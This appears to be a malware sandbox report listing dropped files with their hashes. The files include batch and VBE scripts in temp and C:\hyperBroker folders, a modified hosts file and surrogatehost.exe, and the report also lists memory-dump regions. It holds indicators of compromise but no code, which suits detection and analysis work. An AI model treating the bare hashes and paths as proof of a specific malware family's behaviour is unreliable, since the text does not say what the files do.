80d27edcaab8250d79274e76a7b15cdc4dc65b5a2111bd7a4ec69e85f30ac4b7e08458175c62f016e78f8c9c82b504ef649572ca97359837bacb66204469d540

Download Submit
C:\Users\Admin\AppData\Local\Temp\oYTytxkwUI.bat

Filesize
204B

MD5
a0658c3453836db5763146daca4fd6ea

SHA1
9e72787929ba015e46ed7897d99d846d59bf6475

SHA256
203e0b5c5df291e0fc4c351b95b6dfff3fdb84c98b42ffc8be8aa7e68d6ae689

SHA512
168badd8442d31a74b23b57ae62d588a77265db9278349f3ec9d5ffaa227ea968fc59013efe3b52244358cc80552d9206691dcdf43d363f4c5c9e0d6cec40b92

Download Submit
C:\Users\Admin\AppData\Local\Temp\vlZdOKajZoHvyqk

Filesize
46KB

MD5
02d2c46697e3714e49f46b680b9a6b83

SHA1
84f98b56d49f01e9b6b76a4e21accf64fd319140

SHA256
522cad95d3fa6ebb3274709b8d09bbb1ca37389d0a924cd29e934a75aa04c6c9

SHA512
60348a145bfc71b1e07cb35fa79ab5ff472a3d0a557741ea2d39b3772bc395b86e261bd616f65307ae0d997294e49b5548d32f11e86ef3e2704959ca63da8aac

Download Submit
C:\Users\Admin\AppData\Local\Temp\ыв.exe

Filesize
1.3MB

MD5
7c24ff1412c417a43eba35bd3725b494

SHA1
4caefdba646a66e69a902fc55aacd75239003a48

SHA256
296bc7bff55bd69da0bcd32e8d2c1adec4bc577a5518932f5f8249c53ac72d27

SHA512
14c847789d7dda152d185df7086238df7cab92d2979dbede33a4acf7b5521fbbc09583bb0db2c524756e030b6c86935fc9f3681244be723cdb68cdeacbd83db2

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
ac77212e58815ba19df423bee516232b

SHA1
a6b27e591ce760662914c550eec5725386076285

SHA256
77851b75ec53e994721d404bd19dbe078399a268e378bec794e9b7fc56c3562c

SHA512
05ae1d4a587bd57b78f92458924a5dea08df3d4f0360bdd3e33a818826300e45a98613dc60644c7104c7891bb869c9bc609e62042de48055ae35d0dd4f660615

Download Submit
C:\Windows\System32\drivers\etc\hosts

Filesize
2KB

MD5
577f27e6d74bd8c5b7b0371f2b1e991c

SHA1
b334ccfe13792f82b698960cceaee2e690b85528

SHA256
0ade9ef91b5283eceb17614dd47eb450a5a2a371c410232552ad80af4fbfd5f9

SHA512
944b09b6b9d7c760b0c5add40efd9a25197c22e302c3c7e6d3f4837825ae9ee73e8438fc2c93e268da791f32deb70874799b8398ebae962a9fc51c980c7a5f5c

Download Submit
C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat

Filesize
34B

MD5
af79a4948d935e336e16f5da6d47b37a

SHA1
ea68408dd0f21436cad2a3fe2a2bf8d86b0b86d1

SHA256
57eca70c318a217c78ded3d84f9d0024885e30fe0f5d5255bf17920ff7347929

SHA512
e6670e40ac425c751dd60c353cc9ce7988a35c90d0b51b85d07d2e2c7c9d59268c41596c13f40e94568ccb1e35860f2b3c0bc6f47b3774215c4324286e864d16

Download Submit
C:\hyperBroker\HQYUReo1f8m.vbe

Filesize
217B

MD5
39187c6903e4dc4e96b59be360916231

SHA1
54f8e68c5eac3f194026251cea74e9dbdbdcc13e

SHA256
10ac6b1e5488926c810d0bc22be17081bb6a272fee155542217e7223eecc6fd8

SHA512
a59a6b566b8ffa8e498a78428f95575c54cca09239933dbe88db4c51f5d57cb47c4ec772decf35425f4fe4b4ebe8c5af96de348e7eb5d44284c1a37697cfb297

Download Submit
\hyperBroker\surrogatehost.exe

Filesize
998KB

MD5
7499358db6b8c37ca4b79d8a4adb6166

SHA1
7568e7dd876f09be4d71d1e57d8a6c56f35ab40c

SHA256
38b3eabe4caf5b79ddb04c7148918c8721e79a4052f1461f27fc87753794eba3

SHA512
6893966d24892227d07f45e9115f8997cc561f0815752af1d3266534a2af08e840b404715944f6b8dea0d167ea342223d054b468ac080ebf6314d59c9d845d33

Download Submit
memory/1592-90-0x00000000002F0000-0x00000000002FA000-memory.dmp

Filesize
40KB

Download
memory/1592-89-0x00000000002E0000-0x00000000002EC000-memory.dmp

Filesize
48KB

Download
memory/1592-91-0x0000000000310000-0x000000000031C000-memory.dmp

Filesize
48KB

Download
memory/1592-83-0x00000000002D0000-0x00000000002DA000-memory.dmp

Filesize
40KB

Download
memory/1592-80-0x0000000000330000-0x0000000000430000-memory.dmp

Filesize
1024KB

Download
memory/1616-181-0x0000000000A80000-0x0000000000B80000-memory.dmp

Filesize
1024KB

Download
memory/1680-55-0x000000001B720000-0x000000001BA02000-memory.dmp

Filesize
2.9MB

Download
memory/1680-56-0x0000000002340000-0x0000000002348000-memory.dmp

Filesize
32KB

Download
memory/1764-63-0x0000000001EC0000-0x0000000001EC8000-memory.dmp

Filesize
32KB

Download
memory/1764-62-0x000000001B800000-0x000000001BAE2000-memory.dmp

Filesize
2.9MB

Download
memory/2156-417-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download
memory/2224-160-0x00000000001C0000-0x0000000000288000-memory.dmp

Filesize
800KB

Download
memory/2348-187-0x0000000000DA0000-0x0000000000DE0000-memory.dmp

Filesize
256KB

Download
memory/2428-612-0x0000000000310000-0x0000000000350000-memory.dmp

Filesize
256KB

Download
memory/2468-283-0x00000000000E0000-0x0000000000120000-memory.dmp

Filesize
256KB

Download
memory/2468-166-0x00000000027A0000-0x00000000027A8000-memory.dmp

Filesize
32KB

Download
memory/2512-459-0x0000000000290000-0x00000000002D0000-memory.dmp

Filesize
256KB

Download
memory/2616-24-0x00000000002C0000-0x0000000000388000-memory.dmp

Filesize
800KB

Download
memory/2656-460-0x0000000001160000-0x0000000001228000-memory.dmp

Filesize
800KB

Download
memory/2728-511-0x0000000000EF0000-0x0000000000F30000-memory.dmp

Filesize
256KB

Download
memory/2740-105-0x000000001B590000-0x000000001B872000-memory.dmp

Filesize
2.9MB

Download
memory/2740-106-0x0000000001F80000-0x0000000001F88000-memory.dmp

Filesize
32KB

Download
memory/2748-12-0x000007FEF5A80000-0x000007FEF646C000-memory.dmp

Filesize
9.9MB

Download
memory/2748-5-0x000007FEF5A80000-0x000007FEF646C000-memory.dmp

Filesize
9.9MB

Download
memory/2776-20-0x0000000000B30000-0x0000000000B70000-memory.dmp

Filesize
256KB

Download
memory/2800-10-0x0000000000E80000-0x0000000000F60000-memory.dmp

Filesize
896KB

Download
memory/2920-404-0x0000000000E90000-0x0000000000F70000-memory.dmp

Filesize
896KB

Download
memory/2984-135-0x0000000000BC0000-0x0000000000CA0000-memory.dmp

Filesize
896KB

Download
memory/3012-316-0x00000000010E0000-0x00000000011A8000-memory.dmp

Filesize
800KB

Download
memory/3068-9-0x000007FEF5A80000-0x000007FEF646C000-memory.dmp

Filesize
9.9MB

Download
memory/3068-0-0x000007FEF5A83000-0x000007FEF5A84000-memory.dmp

Filesize
4KB

Download
memory/3068-88-0x000000001B710000-0x000000001B9F2000-memory.dmp

Filesize
2.9MB

Download
memory/3068-4-0x000007FEF5A80000-0x000007FEF646C000-memory.dmp

Filesize
9.9MB

Download
memory/3068-1-0x0000000000280000-0x00000000003B4000-memory.dmp

Filesize
1.2MB

Download